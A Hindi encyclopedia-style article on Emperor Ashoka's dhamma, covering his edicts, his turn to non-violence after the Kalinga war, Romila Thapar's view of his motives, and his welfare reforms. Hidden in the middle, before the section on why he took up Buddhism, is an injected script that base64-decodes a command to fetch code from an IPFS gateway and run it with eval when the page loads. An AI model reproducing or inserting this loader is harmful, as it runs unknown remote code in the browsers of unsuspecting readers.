अशोक का धम्म

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बौद्ध धर्म का प्रचार करते अशोक

संसार के इतिहास में अशोक इसलिए विख्यात है कि उसने निरन्तर मानव की नैतिक उन्नति के लिए प्रयास किया। जिन सिद्धांतों के पालन से यह नैतिक उत्थान सम्भव था, अशोक के लेखों में उन्हें 'धम्म' कहा गया है। दूसरे तथा सातवें स्तंभ-लेखों में अशोक ने धम्म की व्याख्या इस प्रकार की है, "धम्म है साधुता, बहुत से कल्याणकारी अच्छे कार्य करना, पापरहित होना, मृदुता, दूसरों के प्रति व्यवहार में मधुरता, दया-दान तथा शुचिता।" आगे कहा गया है कि, "प्राणियों का वध न करना, जीवहिंसा न करना, माता-पिता तथा बड़ों की आज्ञा मानना, गुरुजनों के प्रति आदर, मित्र, परिचितों, सम्बन्धियों, ब्राह्मण तथा श्रवणों के प्रति दानशीलता तथा उचित व्यवहार और दास तथा भृत्यों के प्रति उचित व्यवहार।"

  • ब्रह्मगिरि शिलालेख में इन गुणों के अतिरिक्त शिष्य द्वारा गुरु का आदर भी धम्म के अंतर्गत माना गया है। अशोक के अनुसार यह पुरानी परम्परा[1] है।
  • तीसरे शिलालेख में अशोक ने अल्प व्यय तथा अल्प संग्रह का भी धम्म माना है। अशोक ने न केवल धम्म की व्याख्या की है, वरन् उसने धम्म की प्रगति में बाधक पाप की भी व्याख्या की है - चंडता, निष्ठुरता, क्रोध, मान और ईर्ष्या पाप के लक्षण हैं। प्रत्येक व्यक्ति को इनसे बचना चाहिए।
  • अशोक ने नित्य आत्म-परीक्षण पर बल दिया है। मनुष्य हमेशा अपने द्वारा किए गए अच्छे कार्यों को ही देखता है, यह कभी नहीं देखता कि मैंने क्या पाप किया है। व्यक्ति को देखना चाहिए कि ये मनोवेग - चंडता, निष्ठुरता, क्रोध, ईर्ष्या, मान—व्यक्ति को पाप की ओर न ले जाएँ और उसे भ्रष्ट न करें।

धम्म में प्रवृत्त

कलिंग युद्ध के बाद ही अशोक अपने शिलालेखों के अनुसार धम्म में प्रवृत्त हुआ। यहाँ धम्म का आशय बौद्ध धर्म लिया जाता है और वह शीघ्र ही बौद्ध धर्म का अनुयायी बन गया। बौद्ध मतावलम्बी होने के बाद अशोक का व्यक्तित्व एकदम बदल गया। आठवें शिलालेख में जो सम्भवत: कलिंग विजय के चार वर्ष बाद तैयार किया गया था, अशोक ने घोषणा की- 'कलिंग देश में जितने आदमी मारे गये, मरे या क़ैद हुए उसके सौंवे या हज़ारवें हिस्से का नाश भी अब देवताओं के प्रिय को बड़े दु:ख का कारण होगा।' उसने आगे युद्ध ना करने का निर्णय लिया और बाद के 31 वर्ष अपने शासनकाल में उसने मृत्युपर्यंत कोई लड़ाई नहीं ठानी। उसने अपने उत्तराधिकारियों को भी परामर्श दिया कि वे शस्त्रों द्वारा विजय प्राप्त करने का मार्ग छोड़ दें और धर्म द्वारा विजय को वास्तविक विजय समझें। [2]

धम्म के सिद्धांत

धम्म के इन सिद्धांतों का अनुशीलन करने से इस सम्बन्ध में कोई संदेह नहीं रह जाता कि यह एक सर्वसाधारण धर्म है। जिसकी मूलभूत मान्यताएँ सभी सम्प्रदायों में मान्य हैं और जो देश काल की सीमाओं में आबद्ध नहीं हैं। किसी पाखंड या सम्प्रदाय का इससे विरोध नहीं हो सकता। अशोक ने अपने तेरहवें शिलालेख में लिखा है—ब्राह्मण, श्रमण और ग्रहस्थ सर्वत्र रहते हैं और धर्म के इन आचरणों का पालन करते हैं। अशोक के साम्राज्य में अनेक सम्प्रदाय के मानने वाले थे और हो सकता है कि उनमें थोड़ा बहुत विरोध तथा प्रतिद्वन्द्विता का भाव भी रहा हो। उसने सभी सम्प्रदायों में सामंजस्य स्थापित करने के लिए सदाचार के इन नियमों पर ज़ोर दिया। बारहवें शिलालेख में अशोक में धर्म की सार-वृद्धि पर ज़ोर दिया है, अर्थात् एक धर्म—सम्प्रदाय वाले दूसरे धर्म—सम्प्रदाय के सिद्धांतों के विषय में जानकारी प्राप्त करें, इससे धर्मसार की वृद्धि होगी।

Blockquote-open.gif सारी प्रजा मेरी संतान है, जिस प्रकार मैं अपनी संतान ऐहिक और कल्याण की कामना करता हूँ उसी प्रकार, अपनी प्रजा के ऐहिक और पारलौकिक कल्याण और सुख के लिए भी। जैसे एक माँ एक शिशु को एक कुशल धाय को सौंपकर निश्चिंत हो जाती है कि कुशल धाय संतान का पालन-पोषण करने में समर्थ है, उसी प्रकार मैंने भी अपनी प्रजा के सुख और कल्याण के लिए राजुकों की नियुक्ति की है" Blockquote-close.gif

- कलिंग में अशोक

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नैतिक उत्थान के लिए धम्म का प्रचार

बौद्ध अनुश्रुतियों और अशोक के अभिलेखों से यह सिद्ध नहीं होता कि उसने किसी राजनीतिक उद्देश्य से धम्म का प्रचार किया। तेरहवें शिलालेख और लघु शिलालेख से विदित होता है कि अशोक धर्म परिवर्तन का कलिंग युद्ध से निकट सम्बन्ध है। रोमिला थापर का मत है कि धम्म कल्पना अशोक की निजी कल्पना थी, किन्तु अशोक के शिलालेखों में धम्म की जो बातें दी गई हैं, उनसे स्पष्ट है कि वे पूर्ण रूप से बौद्ध ग्रंथों से ली गई हैं। ये बौद्ध ग्रंथ हैं—दीघनिकाय के लक्खण सुत्त चक्कवत्ती सीहनाद सुत्त, राहुलोवाद सुत्त तथा धम्मपद। इन ग्रंथों में वर्णित धर्मराज के आदर्श से प्रेरित होकर ही अशोक ने धम्म विजय आदर्श को अपनाया। लक्खण सुत्त तथा चक्कवत्ती सीहनाद सुत्त में धम्मयुक्त चक्रवर्ती सम्राट के विषय में कहा गया है कि वह भौतिक तथा आध्यात्मिक कल्याण के लिए प्रयत्नशाल रहता है। ऐसा राजा विजय से नहीं अपितु धम्म से विजयी होता है। वह तलवार के बजाय धम्म से विजय प्राप्त करता है। वह लोगों को अहिंसा का उपदेश देता है। अशोक ने धम्म की जो परिभाषा दी है वह 'राहुलोवादसुत्त' से ली गई है। इस सुत्त को 'गेहविजय' भी कहा गया है अर्थात् 'ग्रहस्थों के लिए अनुशासन ग्रंथ'। उपासक के लिए परम उद्देश्य स्वर्ग प्राप्त करना था न कि निर्वाण। चक्कवत्ती (चक्रवर्ती) धम्मराज के आदर्श को अपनाते हुए अशोक ने जनसाधारण के नैतिक उत्थान के लिए अपने धम्म का प्रचार किया ताकि वे एहिक सुख और इस जन्म के बाद स्वर्ग प्राप्त कर सकें। इसमें संदेह नहीं कि अशोक सच्चे हृदय से अपनी प्रजा का नैतिक पुनरुद्धार करना चाहता था और इसके लिए वह निरन्तर प्रयत्न शील रहा। वह निस्संदेह एक आदर्श को चरितार्थ करना चाहता था। यही अशोक की मौलिकता है।

अहिंसा का प्रचार

अशोक ने धम्म प्रचार के लिए बड़ी लगन और उत्साह से काम किया। अहिंसा के प्रचार के लिए अशोक ने कई क़दम उठाए। उसने युद्ध बंद कर दिए और स्वयं को तथा राजकर्मचारियों को मानव-मात्र के नैतिक उत्थान में लगाया। जीवों का वध रोकने के लिए अशोक ने प्रथम शिलालेख में विक्षप्ति जारी की कि किसी यज्ञ के लिए पशुओं का वध न किया जाए। 'इह' शब्द से यह अनुमान लगाया जाता है कि यह निषेध या तो राजभवन या फिर पाटलिपुत्र के लिए ही था, समस्त साम्राज्य के लिए नहीं। पशु—वध को एकदम रोकना असम्भव था। अतः अशोक ने लिखा है कि राजकीय रसोई में पहले जहाँ सैकड़ों हज़ारों पशु भोजन के लिए मारे जाते थे, वहाँ अब केवल तीन प्राणी—दो मोर और एक मृग मारे जाते हैं, और भविष्य में वे भी नहीं मारे जाएँगे। साथ ही अशोक ने यह भी घोषणा की कि ऐसे सामाजिक उत्सव नहीं होने चाहिए, जिनमें अनियंत्रित आमोद-प्रमोद हो। जैसे—सुरापान, मांस भक्षण, मल्लयुद्ध, जानवरों की लड़ाई आदि। इनके स्थान पर अशोक ने धम्मसभाओं की व्यवस्था की जिनमें विमान, हाथी, अग्निस्कंध, इत्यादि स्वर्ग की झाँकियाँ दिखाई जाती थी और इस प्रकार जनता में धम्म के प्रति अनुराग पैदा किया जाता था। बिहार—यात्राएँ, जिनमें पशुओं का शिकार राजाओं का मूल्य मनोरंजन था, बंद कर दी गई। उनके स्थान पर अशोक ने धम्म यात्राएँ प्रारम्भ कीं। इन यात्राओं के अवसर पर अशोक ब्राह्मणों और श्रवणों को दान देता था। वृद्धों को सुवर्ण दान देता था। व्यक्तिगत उपदेश से आम जनता में धर्म प्रसारण में सहायता मिली।

बौद्ध स्थानों की यात्रा

अशोक ने अनेक बौद्ध स्थानों की यात्रा की, जैसे—बोधगया, लुम्बिनी, निगलीसागर आदि। इन धर्म यात्राओं से अशोक को देश के विभिन्न स्थानों के लोगों के सम्पर्क में आने का और धर्म तथा शासन के विषय में लोगों के विचार जानने का अवसर मिला। साथ ही इन यात्राओं से एक प्रकार से स्थानीय शासकों पर नियंत्रण रहता था। अशोक ने राज्य के कर्मचारियों—प्रादेशिक, राजुक तथा युक्तकों को प्रति पाँचवें वर्ष धर्म प्रचार के लिए यात्रा पर भेजा। अशोक के लेखों में इसे अनुसंधान कहा गया है।

बौद्ध धर्म में रुचि का कारण

Blockquote-open.gif धम्म है साधुता, बहुत से कल्याणकारी अच्छे कार्य करना, पापरहित होना, मृदुता, दूसरों के प्रति व्यवहार में मधुरता, दया-दान तथा शुचिता।" आगे कहा गया है कि, "प्राणियों का वध न करना, जीवहिंसा न करना, माता-पिता तथा बड़ों की आज्ञा मानना, गुरुजनों के प्रति आदर, मित्र, परिचितों, सम्बन्धियों, ब्राह्मण तथा श्रवणों के प्रति दानशीलता तथा उचित व्यवहार और दास तथा भृत्यों के प्रति उचित व्यवहार। Blockquote-close.gif

- अशोक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अशोक के धम्म की विवेचना करते हुए रोमिला थापर ने लिखा है कि कुछ राजनीतिक उद्देश्यों से ही अशोक ने एक नए धर्म की कल्पना की तथा इसका प्रसार किया। चंद्रगुप्त मौर्य के समय शासन के केन्द्रीकरण की नीति सफलतापूर्वक पूरी हो चुकी थी। कुशल अधिकारतंत्र, अच्छी संचार व्यवस्था और शक्तिशाली शासक के द्वारा उस समय साम्राज्य का जितना केन्द्रीकरण सम्भव था, वह हो चुका था। किन्तु केन्द्र का आधिपत्य बनाए रखना दो ही तरह से सम्भव था, एक तो सैनिक शक्ति द्वारा कठोर शासन तथा राजा में देवत्व का आरोपण करके और दूसरे सभी वर्गों से संकलित सारग्राही धर्म को अपनाकर। यह दूसरा तरीक़ा ही अधिक युक्ति संगत था क्योंकि ऐसा करने से किसी एक वर्ग का प्रभाव कम किया जा सकता था और फलतः केन्द्र का प्रभाव बढ़ता। अशोक की यह नीति सार रूप में वही थी जो अकबर ने अपनाई थी। यद्यपि उसका रूप भिन्न था। सिंहासनारूढ़ होने के समय अशोक बौद्ध नहीं था। बाद में ही उसकी बौद्ध धर्म में रुचि बढ़ी क्योंकि उत्तराधिकार युद्ध के समय उसे सम्भवतः कट्टर समुदायों का समर्थन नहीं मिला। अतः बौद्ध धर्म को स्पष्ट रूप में समर्थन देकर उसने उन वर्गों का समर्थन प्राप्त किया जो कट्टर नहीं थे। रोमिला थापर का अनुमान है कि बौद्ध और आजीवकों को नवोदित वैश्य वर्ग का समर्थन प्राप्त था तथा जनसाधारण का इन सम्प्रदायों से तीव्र विरोध नहीं था। इस प्रकार अशोक ने धर्म को अपनाने में व्यावहारिक लाभ देखा। इस नए धर्म या धम्म की कल्पना का दूसरा कारण था छोटी—छोटी राजनीतिक इकाइयों में बंटे साम्राज्य के विभिन्न वर्गों, जातियों और संस्कृतियों को एक सूत्र में बाँधना। इनके साथ-साथ विभिन्न प्रदेशों में सत्ता को दृढ़ करने के लिए यह उपयोग में लाया जा सकता था। महत्त्वपूर्ण यह है कि एक शासक जिसके पास निरंकुश क़ानूनी विधान, विशाल सेना एवं अपरिमित संसाधन हो वह अपने शिलालेखों में स्वयं को नैतिक मूल्यों के विस्तारक के रूप में प्रस्तुत क्यों करता है? वस्तुतः योग्य व कुशल शासकों की नियुक्तियां सदैव साम्राज्य की रक्षा के लिए निर्मित की जाती हैं। बौद्ध धर्म की शिक्षा के केंद्र मगध में जनमानस में शोषण के विरुद्ध व्यापक चेतना थी।

उपगुप्त से मिली प्रेरणा

सम्राट अशोक को बौद्ध धर्म का प्रचार करने और स्तूपादि को निर्मित कराने की प्रेरणा धर्माचार्य उपगुप्त ने ही दी। जब भगवान बुद्ध दूसरी बार मथुरा आये, तब उन्होंने भविष्यवाणी की और अपने प्रिय शिष्य आनंद से कहा कि कालांतर में यहाँ उपगुप्त नाम का एक प्रसिद्ध धार्मिक विद्वान् होगा, जो उन्हीं की तरह बौद्ध धर्म का प्रचार करेगा और उसके उपदेश से अनेक भिक्षु योग्यता और पद प्राप्त करेंगे। इस भविष्यवाणी के अनुसार उपगुप्त ने मथुरा के एक वणिक के घर जन्म लिया। उसका पिता सुगंधित द्रव्यों का व्यापार करता था। उपगुप्त अत्यंत रूपवान और प्रतिभाशाली था। उपगुप्त किशोरावस्था में ही विरक्त होकर बौद्ध धर्म का अनुयायी हो गया था। आनंद के शिष्य शाणकवासी ने उपगुप्त को मथुरा के नट-भट विहार में बौद्ध धर्म के 'सर्वास्तिवादी संप्रदाय' की दीक्षा दी थी।

धर्म परायण अशोक

बौद्ध धर्म ग्रहण करने के पश्चात् अशोक ने धर्म प्रचार के लिए बड़ी लगन और उत्साह से काम किया। परन्तु शासन के प्रति वह क़तई उदासीन नहीं हुआ। धर्म परायणता ने उसमें प्रजा के ऐहिक एवं पारलौकिक कल्याण के लिए लगन पैदा की। उसने राजा और प्रजा के बीच पैतृक सम्बन्ध को बढ़ाने पर अधिक बल दिया। कलिंग में अशोक ने कहा है, "सारी प्रजा मेरी संतान है, जिस प्रकार मैं अपनी संतान के ऐहिक और कल्याण की कामना करता हूँ उसी प्रकार, अपनी प्रजा के ऐहिक और पारलौकिक कल्याण और सुख के लिए भी। जैसे एक माँ एक शिशु को एक कुशल धाय का सौंपकर निश्चिंत हो जाती है कि कुशल धाय संतान का पालन-पोषण करने में समर्थ है, उसी प्रकार मैंने भी अपनी प्रजा के सुख और कल्याण के लिए राजुकों की नियुक्ति की है" [3]। वह प्रजा के कार्य करने के लिए सदैव उद्यत रहता था। अपने छठे शिलालेख में उसने यह घोषणा की, "हर क्षण और हर स्थान पर—चाहे वह रसोईघर हो, अंतपुर में हो अथवा उद्यान में—मेरे प्रतिवेदक मुझे प्रजा के कार्यों के सम्बन्ध में सूचित करें। मैं जनता का कार्य करने में कभी भी नहीं आघाता। मुझे प्रजा के हित के लिए कार्य करना चाहिए।" इस प्रकार हम देखते हैं कि राजा के उत्थानव्रत और प्रजाहित आदर्श पर अशोक ने अत्यधिक बल दिया। यही नहीं, अशोक ने राजा के कर्तव्य का एक नया दृष्टिकोण प्रस्तुत किया। राजा प्रजा का ऋणी है, प्रजा के प्रति अपने कर्तव्य का पालन करके वह प्रजा का ऋण चुकाता है। अशोक के आठवें शिलालेख में तथा मास्की लघु शिलालेख में यह अनुमान लगाया गया है कि अशोक राज्य के विभिन्न भागों में निरीक्षाटन भी करता था। जिससे जनता के सुख—दुःख का सीधे पता लगा सके। पुरुषों और प्रतिवेदकों द्वारा जनसम्पर्क बना रहता था। अपने शासन को अधिक मानवीय बनाने के लिए अशोक ने शासन में कई सुधार किए। सर्वप्रथम प्रशासनिक सुधार यह था कि प्रादेशिक राजुक से लेकर युक्तक तक सभी अधिकारी हर पाँचवें साल (उज्जयिनी और तक्षशिला में हर तीसरे साल) राज्य में निरीक्षाटन के लिए जाते थे। प्रशासनिक कार्य के अतिरिक्त वे धम्म का प्रचार भी करते थे। कलिंग लेख से पता चलता है कि अकारण लोगों को कारावास तथा भय बचाने के लिए प्रत्येक पाँचवें वर्ष महामात्र निरीक्षाटन के लिए भेजे जाते थे। उनका एक कार्य यह भी था कि वे देखें कि नगर न्यायाधीश राजा के आदेश का पालन करें।

अशोक ने अपने राज्य के तेरहवें वर्ष के बाद एक सर्वथा नवीन प्रकार के उच्चाधिकारियों की नियुक्ति की। इन्हें धम्ममहामात्र कहा गया है। इनका प्रमुख कार्य जनता में धर्मप्रसार करना तथा दानशीलता को उत्साहित करना था। किन्तु प्रशासनिक दृष्टि से इनका कार्य यह था—जिन्हें कारावास का दंड दिया गया हो उनके परिवारों को आर्थिक सहायता देना, अपराधियों के सम्बन्धियों से सम्पर्क बनाए रखकर उन्हें सांत्वना देना। इस प्रकार अशोक ने न्याय और दंड में मानवीयता लाने का प्रयास किया। न्याय को दया से मिश्रित करके मृदु बना दिया।

कल्याणकारी कार्य

अशोक व्यावहारिक था। उसने मृत्युदंड को एक दम समाप्त नहीं किया, किन्तु यह व्यवस्था की कि यदि समुचित कारण उपस्थित हों, तो धम्म महामात्र न्यायाधिकारियों से दंड कम करवाने का प्रयत्न करें। जिन अपराधियों को मृत्युदंड दिया गया हो, उन्हें तीन दिन का अवकाश देने की व्यवस्था की गई, ताकि इस बीच उनके सम्बन्धी उनके जीवनदान के लिए (राजुकों से) प्रार्थना कर सकें, और (यदि यह सम्भव न हो सके तो) वे दान-व्रत प्रार्थना के द्वारा परलोक की तैयारी कर सकें। राजुकों को आदेश दिया गया कि अभिहार दंड में एकरूपता हो और पक्षपातरहित हो।

26वें वर्ष में अशोक ने राजुकों, अभिहार तथा दंडकों को स्वतंत्रता दी ताकि ऊपर से बिना हस्तक्षेप के वे आत्मविश्वास के साथ प्रजा का हित कर सकें। ये राजुक सैकड़ों—हज़ारों लोगों के ऊपर शासन करते थे और अशोक ने उन्हें स्वतंत्रता इसलिए दी कि वे निर्वघ्न शासन द्वारा जनता का हित करने में समर्थ हो सकें।

अशोक ने मनुष्यों और पशुओं के लिए चिकित्सालय खुलवाए। जहाँ मनुष्यों और पशुओं के लिए उपयोगी औषधियाँ उपलब्ध नहीं थी वहाँ बाहर से मँगाकर उन्हें लगाया जाता। कंदमूल और फल भी जहाँ कभी नहीं थे, वहाँ बाहर से मँगाकर लगवाए गए। सड़क के किनारे पर पेड़ लगाए गए ताकि मनुष्यों और पशुओं को छाया मिल सके। आठ कोस या 9 मील के फ़ासले पर जगह-जगह कुएँ खुदवाए गए। इसके अलावा अनेक प्याऊ स्थापित किए गए। इस प्रकार अशोक की धर्मपरायणता ने उसे अनेक प्रकार के कल्याणकारी कार्यों के लिए प्रेरित किया। उसका शासन केन्दित होते हुए भी मानवीय था।


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टीका टिप्पणी और संदर्भ

  1. पोराण पकिति
  2. भट्टाचार्य, सचिदानंद भारतीय इतिहास कोश (हिंदी)। लखनऊ: उत्तरप्रदेश हिंदी संस्थान, 26।
  3. (चौथा स्तंभ लेखा)

बाहरी कड़ियाँ

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